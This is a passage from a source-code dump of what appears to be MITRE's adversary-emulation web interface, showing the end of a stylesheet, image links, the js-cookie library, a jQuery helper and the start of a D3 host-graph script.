35px; 78 | font-weight: bold; 79 | } 80 | 81 | .close:hover, 82 | .close:focus { 83 | color: #7a1f1f; 84 | cursor: pointer; 85 | } 86 | 87 | .planner-settings-btn-group { 88 | padding:0; 89 | width: 100%; 90 | } 91 | 92 | .planner-settings-btn-group label { 93 | background-color: var(--theme-color); 94 | color: white; 95 | padding: 14px 0px; 96 | margin: 8px 0; 97 | border: none; 98 | display: inline-block; 99 | width: 49%; 100 | opacity: .5; 101 | -webkit-user-select: none; 102 | -moz-user-select: none; 103 | -ms-user-select: none; 104 | user-select: none; 105 | } 106 | 107 | .planner-settings-btn-group input[type="radio"]{ 108 | display:none; 109 | } 110 | 111 | .planner-settings-btn-group input[type="radio"]:checked+label { 112 | opacity:1.0; 113 | } 114 | 115 | .planner-settings-btn-group .btn-primary:hover { 116 | opacity: .8; 117 | } 118 | 119 | -------------------------------------------------------------------------------- /static/img/add_task.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/add_task.png -------------------------------------------------------------------------------- /static/img/cancel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/cancel.png -------------------------------------------------------------------------------- /static/img/depth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/depth.png -------------------------------------------------------------------------------- /static/img/glass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/glass.png -------------------------------------------------------------------------------- /static/img/hacker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/hacker.png -------------------------------------------------------------------------------- /static/img/hosts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/hosts.png -------------------------------------------------------------------------------- /static/img/lock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/lock.png -------------------------------------------------------------------------------- /static/img/pause.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/pause.png -------------------------------------------------------------------------------- /static/img/play.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/play.png -------------------------------------------------------------------------------- /static/img/refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/refresh.png -------------------------------------------------------------------------------- /static/img/tools.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/static/img/tools.png -------------------------------------------------------------------------------- /static/js-cookie/js.cookie.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * JavaScript Cookie v2.2.0 3 | * https://github.com/js-cookie/js-cookie 4 | * 5 | * Copyright 2006, 2015 Klaus Hartl & Fagner Brack 6 | * Released under the MIT license 7 | */ 8 | ;(function (factory) { 9 | var registeredInModuleLoader = false; 10 | if (typeof define === 'function' && define.amd) { 11 | define(factory); 12 | registeredInModuleLoader = true; 13 | } 14 | if (typeof exports === 'object') { 15 | module.exports = factory(); 16 | registeredInModuleLoader = true; 17 | } 18 | if (!registeredInModuleLoader) { 19 | var OldCookies = window.Cookies; 20 | var api = window.Cookies = factory(); 21 | api.noConflict = function () { 22 | window.Cookies = OldCookies; 23 | return api; 24 | }; 25 | } 26 | }(function () { 27 | function extend () { 28 | var i = 0; 29 | var result = {}; 30 | for (; i < arguments.length; i++) { 31 | var attributes = arguments[ i ]; 32 | for (var key in attributes) { 33 | result[key] = attributes[key]; 34 | } 35 | } 36 | return result; 37 | } 38 | 39 | function init (converter) { 40 | function api (key, value, attributes) { 41 | var result; 42 | if (typeof document === 'undefined') { 43 | return; 44 | } 45 | 46 | // Write 47 | 48 | if (arguments.length > 1) { 49 | attributes = extend({ 50 | path: '/' 51 | }, api.defaults, attributes); 52 | 53 | if (typeof attributes.expires === 'number') { 54 | var expires = new Date(); 55 | expires.setMilliseconds(expires.getMilliseconds() + attributes.expires * 864e+5); 56 | attributes.expires = expires; 57 | } 58 | 59 | // We're using "expires" because "max-age" is not supported by IE 60 | attributes.expires = attributes.expires ? attributes.expires.toUTCString() : ''; 61 | 62 | try { 63 | result = JSON.stringify(value); 64 | if (/^[\{\[]/.test(result)) { 65 | value = result; 66 | } 67 | } catch (e) {} 68 | 69 | if (!converter.write) { 70 | value = encodeURIComponent(String(value)) 71 | .replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent); 72 | } else { 73 | value = converter.write(value, key); 74 | } 75 | 76 | key = encodeURIComponent(String(key)); 77 | key = key.replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent); 78 | key = key.replace(/[\(\)]/g, escape); 79 | 80 | var stringifiedAttributes = ''; 81 | 82 | for (var attributeName in attributes) { 83 | if (!attributes[attributeName]) { 84 | continue; 85 | } 86 | stringifiedAttributes += '; ' + attributeName; 87 | if (attributes[attributeName] === true) { 88 | continue; 89 | } 90 | stringifiedAttributes += '=' + attributes[attributeName]; 91 | } 92 | return (document.cookie = key + '=' + value + stringifiedAttributes); 93 | } 94 | 95 | // Read 96 | 97 | if (!key) { 98 | result = {}; 99 | } 100 | 101 | // To prevent the for loop in the first place assign an empty array 102 | // in case there are no cookies at all. Also prevents odd result when 103 | // calling "get()" 104 | var cookies = document.cookie ? document.cookie.split('; ') : []; 105 | var rdecode = /(%[0-9A-Z]{2})+/g; 106 | var i = 0; 107 | 108 | for (; i < cookies.length; i++) { 109 | var parts = cookies[i].split('='); 110 | var cookie = parts.slice(1).join('='); 111 | 112 | if (!this.json && cookie.charAt(0) === '"') { 113 | cookie = cookie.slice(1, -1); 114 | } 115 | 116 | try { 117 | var name = parts[0].replace(rdecode, decodeURIComponent); 118 | cookie = converter.read ? 119 | converter.read(cookie, name) : converter(cookie, name) || 120 | cookie.replace(rdecode, decodeURIComponent); 121 | 122 | if (this.json) { 123 | try { 124 | cookie = JSON.parse(cookie); 125 | } catch (e) {} 126 | } 127 | 128 | if (key === name) { 129 | result = cookie; 130 | break; 131 | } 132 | 133 | if (!key) { 134 | result[name] = cookie; 135 | } 136 | } catch (e) {} 137 | } 138 | 139 | return result; 140 | } 141 | 142 | api.set = api; 143 | api.get = function (key) { 144 | return api.call(api, key); 145 | }; 146 | api.getJSON = function () { 147 | return api.apply({ 148 | json: true 149 | }, [].slice.call(arguments)); 150 | }; 151 | api.defaults = {}; 152 | 153 | api.remove = function (key, attributes) { 154 | api(key, '', extend(attributes, { 155 | expires: -1 156 | })); 157 | }; 158 | 159 | api.withConverter = init; 160 | 161 | return api; 162 | } 163 | 164 | return init(function () {}); 165 | })); 166 | -------------------------------------------------------------------------------- /static/js/basic.js: -------------------------------------------------------------------------------- 1 | function flash(id, msg) { 2 | $(function () { 3 | document.getElementById(id).innerHTML = msg; 4 | $('#' + id).delay(1000).fadeIn('normal', function () { 5 | $(this).delay(1000).fadeOut(); 6 | }); 7 | }); 8 | } 9 | 10 | rel_url = ''; 11 | rel_url_adversary = rel_url + '/adversary'; 12 | rel_url_adversary_gui = rel_url_adversary + '/gui'; 13 | 14 | $(".slides").sortable({ 15 | placeholder: 'slide-placeholder', 16 | axis: "y", 17 | revert: 150, 18 | start: function (e, ui) { 19 | 20 | placeholderHeight = ui.item.outerHeight(); 21 | ui.placeholder.height(placeholderHeight + 15); 22 | $('
').insertAfter(ui.placeholder); 23 | 24 | }, 25 | change: function (event, ui) { 26 | 27 | ui.placeholder.stop().height(0).animate({ 28 | height: ui.item.outerHeight() + 15 29 | }, 300); 30 | 31 | placeholderAnimatorHeight = parseInt($(".slide-placeholder-animator").attr("data-height")); 32 | 33 | $(".slide-placeholder-animator").stop().height(placeholderAnimatorHeight + 15).animate({ 34 | height: 0 35 | }, 300, function () { 36 | $(this).remove(); 37 | placeholderHeight = ui.item.outerHeight(); 38 | $('
').insertAfter(ui.placeholder); 39 | }); 40 | 41 | }, 42 | stop: function (e, ui) { 43 | $(".slide-placeholder-animator").remove(); 44 | }, 45 | }); 46 | 47 | -------------------------------------------------------------------------------- /static/js/fdg.js: -------------------------------------------------------------------------------- 1 | let svg = d3.select('svg').attr('width', 900).attr('height', 500); 2 | let force = d3.layout.force() 3 | .distance(300) 4 | .charge(-800) 5 | .size([900, 500]); 6 | let nodes = []; 7 | 8 | function refreshGraph(data) { 9 | if ($('#ops option:selected').attr('value') == '') // requires selected operation 10 | return; 11 | if(nodes.length > 0) // only build this graphic once 12 | return; 13 | 14 | let d = JSON.parse(JSON.stringify(data)); 15 | let hosts = d.chosen.network.hosts; 16 | let startHost = d.chosen.start_host.hostname; 17 | for(let i =0; i